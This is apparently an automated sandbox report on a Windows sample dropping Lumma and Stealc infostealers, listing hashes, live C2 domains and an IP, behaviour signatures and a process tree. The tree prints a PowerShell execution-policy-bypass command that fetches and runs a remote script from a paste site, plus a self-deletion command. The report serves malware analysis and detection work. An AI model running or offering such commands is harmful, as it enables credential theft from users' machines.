Analysis

  • max time kernel
    94s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-10-2024 09:23

General

  • Target

    2024-10-10_4bfca9446cb278626b58b350b9e1bc23_poet-rat_snatch.exe

  • Size

    7.5MB

  • MD5

    4bfca9446cb278626b58b350b9e1bc23

  • SHA1

    ea4f13440b077c269e283e287ab62109dac1d109

  • SHA256

    081634559a7ed65e960a55fd4f1fa40245df7188a33def2f6e1d70f2cafc8c87

  • SHA512

    ed4dc98f711b3e1777bad905534489b613516afaf5194801e942104b610622d348cd0d3bff04b80b29e56de52066c2bc0f44a7545985a3a93c6db311ad8cfd36

  • SSDEEP

    98304:InKDMH5cGESXimKgrVGEOhMePfxfMGWO76lIQ:ZMH5+KkrfM1O7t

Malware Config

Extracted

Family

lumma

C2

https://drawwyobstacw.sbs

https://condifendteu.sbs

https://ehticsprocw.sbs

https://vennurviot.sbs

https://resinedyw.sbs

https://enlargkiw.sbs

https://allocatinow.sbs

https://mathcucom.sbs

Extracted

Family

stealc

Botnet

mainteam

C2

http://95.182.96.50

Attributes
  • url_path

    /2aced82320799c96.php

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Stealc

    Stealc is an infostealer written in C++.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • GoLang User-Agent 8 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-10-10_4bfca9446cb278626b58b350b9e1bc23_poet-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-10-10_4bfca9446cb278626b58b350b9e1bc23_poet-rat_snatch.exe"
    1⤵
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:3492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4844
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1716
    • C:\Program Files\launcher289\1.exe
      "C:\Program Files\launcher289\1.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2756
      • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4220
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4968
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get name
      2⤵
        PID:2876
      • C:\Program Files\launcher289\2.exe
        "C:\Program Files\launcher289\2.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4432
        • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
          "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1296
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get name
        2⤵
          PID:376
        • C:\Windows\System32\Wbem\wmic.exe
          wmic cpu get name
          2⤵
            PID:3068
          • C:\Program Files\launcher289\3.exe
            "C:\Program Files\launcher289\3.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2412
            • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
              "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
              3⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3920
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )"
                4⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2200
                • C:\Windows\SysWOW64\whoami.exe
                  "C:\Windows\system32\whoami.exe" /groups /fo csv
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:2092
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1092
          • C:\Windows\System32\Wbem\wmic.exe
            wmic cpu get name
            2⤵
              PID:1912

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Program Files\launcher289\1.exe

            Filesize

            17.6MB

            MD5

            04bb72789f6bcd0f4d11c458e7899f68

            SHA1

            c1dbdd5d7b28479161ddd8f03a60c6738192c577

            SHA256

            bb91dedd73f1eb678c1b3ebf3754c1cd625dacbeee7565a7c8648fc0f8bfac69

            SHA512

            d9865c8008cce9179d3a87a9a04222fed566464a15533a8f6037513091b96473d7ce31955c60b3413392a8c78674c9d726f5bb9579131a2ff827064a90e8184a

          • C:\Program Files\launcher289\2.exe

            Filesize

            13.1MB

            MD5

            7a71d68fd14c17c55210f369432be07e

            SHA1

            c68a576117c091a2317c41cc903daff80930b15c

            SHA256

            a67a14776f7f9fa4ccd2ce0507416ec2c2d1a343db5076ad0828377edeba56b4

            SHA512

            9b4784b05adb20fdaf1bdf52749a642da771d42ea2697427664926f39979992027629f42f33d5f1aac2eb41070bbe03c69898de073e02836aa71ea6b953cc710

          • C:\Program Files\launcher289\3.exe

            Filesize

            12.5MB

            MD5

            a0dc7564cc76113554ab0a96be832dd0

            SHA1

            24936984135732a925fa9876c75307c0a9a2b25f

            SHA256

            6b2857b2f5166a00daa2c699ee9c7c72371d8bb49eadefaaf3d81d189c1ef577

            SHA512

            00be3708f0d770cfb0bb7e2f081334b1f60146eba34551d551751997b3ba6982674b68485c6d5c88bb461fb208d9cf61c36ceea92c1b7f16d28c5a52b1dbea70

          • C:\ProgramData\mozglue.dll

            Filesize

            593KB

            MD5

            c8fd9be83bc728cc04beffafc2907fe9

            SHA1

            95ab9f701e0024cedfbd312bcfe4e726744c4f2e

            SHA256

            ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

            SHA512

            fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

          • C:\ProgramData\nss3.dll

            Filesize

            2.0MB

            MD5

            1cc453cdf74f31e4d913ff9c10acdde2

            SHA1

            6e85eae544d6e965f15fa5c39700fa7202f3aafe

            SHA256

            ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

            SHA512

            dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2piy042c.ezm.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/1296-31-0x0000000000400000-0x0000000000643000-memory.dmp

            Filesize

            2.3MB

          • memory/1296-33-0x0000000061E00000-0x0000000061EF3000-memory.dmp

            Filesize

            972KB

          • memory/1296-32-0x0000000000400000-0x0000000000643000-memory.dmp

            Filesize

            2.3MB

          • memory/2200-119-0x0000000006500000-0x000000000654C000-memory.dmp

            Filesize

            304KB

          • memory/2200-120-0x0000000007CE0000-0x000000000835A000-memory.dmp

            Filesize

            6.5MB

          • memory/2200-229-0x0000000009E60000-0x0000000009EF2000-memory.dmp

            Filesize

            584KB

          • memory/2200-127-0x000000000A370000-0x000000000A914000-memory.dmp

            Filesize

            5.6MB

          • memory/2200-126-0x0000000007BB0000-0x0000000007BD2000-memory.dmp

            Filesize

            136KB

          • memory/2200-125-0x0000000007C10000-0x0000000007CA6000-memory.dmp

            Filesize

            600KB

          • memory/2200-123-0x0000000009890000-0x0000000009DBC000-memory.dmp

            Filesize

            5.2MB

          • memory/2200-122-0x0000000007AF0000-0x0000000007AFA000-memory.dmp

            Filesize

            40KB

          • memory/2200-121-0x00000000069D0000-0x00000000069EA000-memory.dmp

            Filesize

            104KB

          • memory/2200-118-0x00000000064D0000-0x00000000064EE000-memory.dmp

            Filesize

            120KB

          • memory/2200-117-0x0000000005EA0000-0x00000000061F4000-memory.dmp

            Filesize

            3.3MB

          • memory/2200-129-0x0000000005210000-0x0000000005222000-memory.dmp

            Filesize

            72KB

          • memory/2200-124-0x0000000009530000-0x00000000096F2000-memory.dmp

            Filesize

            1.8MB

          • memory/2200-107-0x0000000005E30000-0x0000000005E96000-memory.dmp

            Filesize

            408KB

          • memory/2200-103-0x0000000004F30000-0x0000000004F66000-memory.dmp

            Filesize

            216KB

          • memory/2200-104-0x00000000055A0000-0x0000000005BC8000-memory.dmp

            Filesize

            6.2MB

          • memory/2200-105-0x0000000005530000-0x0000000005552000-memory.dmp

            Filesize

            136KB

          • memory/2200-106-0x0000000005DC0000-0x0000000005E26000-memory.dmp

            Filesize

            408KB

          • memory/3920-102-0x0000000000400000-0x0000000000423000-memory.dmp

            Filesize

            140KB

          • memory/3920-101-0x0000000000400000-0x0000000000423000-memory.dmp

            Filesize

            140KB

          • memory/4220-28-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/4220-29-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/4220-30-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/4844-12-0x00007FFB5BC10000-0x00007FFB5C6D1000-memory.dmp

            Filesize

            10.8MB

          • memory/4844-16-0x00007FFB5BC10000-0x00007FFB5C6D1000-memory.dmp

            Filesize

            10.8MB

          • memory/4844-15-0x00007FFB5BC10000-0x00007FFB5C6D1000-memory.dmp

            Filesize

            10.8MB

          • memory/4844-10-0x00007FFB5BC10000-0x00007FFB5C6D1000-memory.dmp

            Filesize

            10.8MB

          • memory/4844-11-0x0000018B27EC0000-0x0000018B27EE2000-memory.dmp

            Filesize

            136KB

          • memory/4844-14-0x0000018B283E0000-0x0000018B28456000-memory.dmp

            Filesize

            472KB

          • memory/4844-13-0x0000018B27F60000-0x0000018B27FA4000-memory.dmp

            Filesize

            272KB

          • memory/4844-0-0x00007FFB5BC13000-0x00007FFB5BC15000-memory.dmp

            Filesize

            8KB

          • memory/4844-19-0x00007FFB5BC10000-0x00007FFB5C6D1000-memory.dmp

            Filesize

            10.8MB